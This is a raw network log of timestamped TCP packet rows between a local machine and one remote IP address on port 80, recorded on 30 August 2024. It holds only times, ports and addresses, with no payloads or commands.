Aug 30, 2024 18:13:03.110241890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110254049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110263109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110272884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110282898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110292912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110301971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110306025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.110320091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110326052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.110332012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110341072 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.110343933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110356092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.110362053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.110394001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.191533089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191566944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191576958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191709995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191720009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191730022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191740036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.191776991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.191837072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.191879988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.191987038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192030907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192053080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192065954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192099094 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192240953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192250967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192260981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192286968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192307949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192384005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192394972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192404985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192414045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192425013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192428112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192435980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192442894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192471027 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192713022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192723989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192733049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192744017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192755938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192770958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192800045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192944050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192954063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192965031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192974091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.192981005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.192994118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193010092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193278074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193289042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193298101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193308115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193317890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193327904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193336010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193339109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193351030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193355083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193361998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193368912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193372965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193383932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193392992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193399906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193403006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193430901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193443060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193902969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193914890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193923950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193942070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193953037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193954945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193964005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193975925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193984985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.193988085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.193994999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194005013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194005966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194016933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194026947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194032907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194037914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194050074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194067001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194086075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194680929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194690943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194700003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194717884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194727898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194730043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194739103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194749117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194749117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194760084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194775105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194775105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194785118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194794893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194802046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194804907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194817066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194820881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194828987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194838047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194839954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194852114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194858074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194864988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.194883108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.194910049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195677996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195688963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195698023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195708036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195718050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195727110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195727110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195739985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195748091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195750952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195761919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195768118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195775032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195784092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195786953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195797920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195805073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195808887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195818901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195828915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195836067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195838928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195849895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.195867062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.195883989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196608067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196619034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196628094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196638107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196646929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196657896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196657896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196667910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196677923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196679115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196690083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196697950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196701050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196712017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196712017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196723938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196731091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196734905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196748018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196757078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196759939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196768999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196778059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.196784019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196804047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.196819067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.197443008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197458982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197468996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197479010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197488070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197498083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.197498083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.197525024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.197535038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279243946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279256105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279267073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279275894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279287100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279299021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279320002 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279372931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279385090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279395103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279489994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279489994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279489994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279514074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279525042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279551029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279556036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279566050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279575109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279593945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279618979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279788017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279798985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279808998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279824018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279831886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279851913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279880047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.279910088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.279949903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280066967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280080080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280088902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280100107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280107975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280109882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280122995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280129910 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280133009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280147076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280157089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280163050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280179024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280204058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280491114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280503035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280534983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280559063 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280622959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280633926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280642986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280654907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280663967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280678988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280678988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280690908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280702114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280706882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280713081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280725002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280735016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280740023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280752897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280761003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280762911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280775070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280781031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.280802965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.280823946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.281275034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281286001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281296015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281306028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281316996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281320095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.281338930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.281363964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.281455040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281467915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.281493902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.281519890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.379266977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.384263992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553463936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553544998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553621054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553633928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553643942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553653955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553663969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553669930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553675890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553694010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553704977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553714037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553725004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553723097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553742886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553747892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553761959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553786039 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553901911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553915024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553924084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553937912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553945065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553956032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553965092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.553973913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553986073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553996086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.553997993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554008007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554011106 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554048061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554114103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554126978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554136992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554166079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554176092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554205894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554218054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554225922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554235935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554246902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554253101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554256916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554270983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554282904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554297924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554325104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554589987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554600954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554636955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554672003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554696083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554727077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554748058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554835081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554855108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554867029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554877043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554878950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554888964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.554898977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554918051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.554943085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555131912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555144072 CEST	80	49733	193.176.190.41	192.168.2.4
